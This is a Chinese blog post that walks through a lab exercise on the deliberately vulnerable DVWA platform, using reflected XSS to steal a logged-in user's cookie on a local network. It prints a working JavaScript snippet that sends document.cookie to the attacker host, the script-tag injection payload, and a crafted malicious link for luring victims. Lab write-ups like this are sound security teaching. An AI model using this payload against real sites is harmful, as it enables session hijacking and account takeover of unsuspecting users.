DVWA下利用XSS获取Cookie

众所周知,利用XSS攻击,可以在用户登陆存在漏洞的站点之后,获取用户的Cookie值。有了Cookie,我们便可以在不知道用户名密码的情况下,模拟用户登陆站点。

本文记录一次在DVWA漏洞平台的XSS(Reflected)模块下,利用XSS获取该平台登陆Cookie的实验。

0x00 实验准备

  • 实验环境:
    DVWA:Windows 7,存在XSS漏洞的网站;|IP: 192.168.124.6|
    主机A:Cent OS,攻击者;|IP:192.168.124.7|
    主机B:Windows 7,被攻击者;|IP: 192.168.124.2|

  • 配置DVWA:

    • 在Windows7下搭建DVWA。从GitHub下载DVWA源代码,下载phpStudy模拟web运行环境。将DVWA源代码放到phpStudy路径下的www目录下,注意将DVWA源代码文件夹名改为DVWA。
    • 打开DVWA的配置文件|config.inc.php.bak|,将数据库密码改为|$_DVWA[ 'db_password' ] = 'root';|;保存后将配置文件名改为|config.inc.php|
    • 开启phpStudy,在地址栏输入|http://192.168.124.6/DVWA|,会自动弹出登陆界面。 |Username / Password:admin / password|
    • 将安全等级DVWA Security改为low

2 构建Payload

  • 攻击者主机A下开启httpd服务;新建eval.js脚本,用于向主机A发送Cookie。该脚本创建了一个img元素,img.src获取到被攻击者的Cookie后以GET的方式发送给主机A:
var img = document.createElement("img");
img.src = "http://192.168.124.7/log?"+escape(document.cookie);
document.body.appendChild(img);

0x02 执行攻击

  • 被攻击者主机B上打开DVWA的XSS(Reflected)模块:

  • 在What’s your name输入框中输入|<script src=http://192.168.124.7/eval.js></script>|并提交。此时主机A的恶意脚本被执行,主机B的Cookie被以GET方式发送给主机A。在主机A上用|tail /var/log/httpd/access_log|查看web日志,发现已经获取到Cookie:

0x03 总结

在真实攻击过程中,攻击者可以构造恶意url|http://192.168.124.6/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.124.7%3A6789%2FDesktop%2Feval.js%3E%3C%2Fscript%3E#|,诱使用户点击该链接,那么用户的Cookie就会发送到攻击者的主机上,攻击者利用该Cookie就能够登陆受害者的账户了。

文章作者: Alston
文章链接: https://lizitong67.github.io/2020/02/21/DVWA%E4%B8%8B%E5%88%A9%E7%94%A8XSS%E8%8E%B7%E5%8F%96Cookie/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alston's blog